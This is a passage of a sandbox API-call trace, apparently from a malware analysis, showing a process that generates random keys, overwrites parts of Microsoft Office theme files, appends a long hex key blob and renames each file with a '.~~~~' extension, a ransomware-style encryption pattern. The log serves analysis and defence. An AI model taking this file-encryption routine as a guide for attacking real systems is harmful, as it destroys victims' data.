	[0122.401] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.401] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.401] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.401] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.401] CloseHandle (hObject=0x128) returned 1
	[0122.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x390880
	[0122.404] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Urban.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\urban.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Urban.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\urban.xml.~~~~")) returned 1
	[0122.496] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x390880 | out: hHeap=0x300000) returned 1
	[0122.496] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0122.496] GetLastError () returned 0x0
	[0122.497] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0122.498] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.498] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.499] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0122.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0122.499] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24248891687) returned 1
	[0122.499] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb27b3110, dwHighDateTime=0x1d60e1e)) 
	[0122.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0122.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0122.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0122.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b7d88
	[0122.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.499] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7d88 | out: hHeap=0x300000) returned 1
	[0122.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.500] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b62c8
	[0122.500] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0122.500] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b62c8 | out: hHeap=0x300000) returned 1
	[0122.500] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0122.500] GetLastError () returned 0x0
	[0122.500] GetLastError () returned 0x0
	[0122.500] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0122.501] GetLastError () returned 0x0
	[0122.501] GetLastError () returned 0x0
	[0122.505] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.507] WriteFile (in: hFile=0x138, lpBuffer=0x2a370b0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a370b0*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0122.510] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a370b0 | out: hHeap=0x300000) returned 1
	[0122.510] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.510] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.512] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.512] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.513] CloseHandle (hObject=0x138) returned 1
	[0122.513] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x2928140
	[0122.513] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx.~~~~")) returned 1
	[0122.559] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2928140 | out: hHeap=0x300000) returned 1
	[0122.559] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0122.559] GetLastError () returned 0x0
	[0122.559] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0122.561] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.561] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.561] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0122.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0122.561] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24255160839) returned 1
	[0122.562] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb284b690, dwHighDateTime=0x1d60e1e)) 
	[0122.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0122.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0122.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0122.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b7ca8
	[0122.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.562] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7ca8 | out: hHeap=0x300000) returned 1
	[0122.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.562] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b62c8
	[0122.562] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0122.562] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b62c8 | out: hHeap=0x300000) returned 1
	[0122.562] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0122.563] GetLastError () returned 0x0
	[0122.563] GetLastError () returned 0x0
	[0122.563] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0122.563] GetLastError () returned 0x0
	[0122.563] GetLastError () returned 0x0
	[0122.567] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffa86f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.567] WriteFile (in: hFile=0x138, lpBuffer=0x2a370b0*, nNumberOfBytesToWrite=0x5791, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a370b0*, lpNumberOfBytesWritten=0x1f8fec0*=0x5791, lpOverlapped=0x0) returned 1
	[0122.569] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a370b0 | out: hHeap=0x300000) returned 1
	[0122.569] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.569] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.569] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.569] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.570] CloseHandle (hObject=0x138) returned 1
	[0122.570] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x2928140
	[0122.570] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx.~~~~")) returned 1
	[0122.571] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2928140 | out: hHeap=0x300000) returned 1
	[0122.571] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0122.571] GetLastError () returned 0x0
	[0122.572] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0122.573] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.573] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.573] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.573] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0122.573] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0122.573] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24256303297) returned 1
	[0122.573] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb28717f0, dwHighDateTime=0x1d60e1e)) 
	[0122.573] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0122.573] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0122.573] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0122.573] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b7c70
	[0122.573] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.573] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7c70 | out: hHeap=0x300000) returned 1
	[0122.573] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.573] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.574] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b62c8
	[0122.574] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.574] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0122.574] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b62c8 | out: hHeap=0x300000) returned 1
	[0122.574] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0122.574] GetLastError () returned 0x0
	[0122.574] GetLastError () returned 0x0
	[0122.574] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0122.574] GetLastError () returned 0x0
	[0122.574] GetLastError () returned 0x0
	[0122.581] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.581] WriteFile (in: hFile=0x138, lpBuffer=0x2a370b0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a370b0*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0122.585] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a370b0 | out: hHeap=0x300000) returned 1
	[0122.585] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.585] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.587] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.587] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.588] CloseHandle (hObject=0x138) returned 1
	[0122.588] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x2928140
	[0122.588] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx.~~~~")) returned 1
	[0122.589] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2928140 | out: hHeap=0x300000) returned 1
	[0122.589] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0122.589] GetLastError () returned 0x0
	[0122.590] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0122.591] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.591] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.591] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.591] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0122.591] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0122.591] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24258124471) returned 1
	[0122.591] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb2897950, dwHighDateTime=0x1d60e1e)) 
	[0122.591] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0122.591] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0122.591] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0122.591] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b7c38
	[0122.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.592] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7c38 | out: hHeap=0x300000) returned 1
	[0122.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.592] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b62c8
	[0122.592] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0122.592] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b62c8 | out: hHeap=0x300000) returned 1
	[0122.592] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0122.592] GetLastError () returned 0x0
	[0122.592] GetLastError () returned 0x0
	[0122.592] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0122.593] GetLastError () returned 0x0
	[0122.593] GetLastError () returned 0x0
	[0122.596] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.596] WriteFile (in: hFile=0x138, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0122.600] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0122.600] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.600] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.780] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.780] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.780] CloseHandle (hObject=0x138) returned 1
	[0122.780] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x2928140
	[0122.780] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx.~~~~")) returned 1
	[0122.842] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2928140 | out: hHeap=0x300000) returned 1
	[0122.842] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0122.842] GetLastError () returned 0x0
	[0122.842] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0122.843] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.843] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.843] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.843] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0122.843] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0122.844] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24283366566) returned 1
	[0122.844] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb2b1f0b0, dwHighDateTime=0x1d60e1e)) 
	[0122.844] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0122.844] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0122.844] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0122.844] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281f1e0
	[0122.844] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.844] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281f1e0 | out: hHeap=0x300000) returned 1
	[0122.844] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.844] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.844] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b62c8
	[0122.844] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.844] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6d38
	[0122.844] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b62c8 | out: hHeap=0x300000) returned 1
	[0122.844] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0122.844] GetLastError () returned 0x0
	[0122.844] GetLastError () returned 0x0
	[0122.845] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0122.845] GetLastError () returned 0x0
	[0122.845] GetLastError () returned 0x0
	[0122.848] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
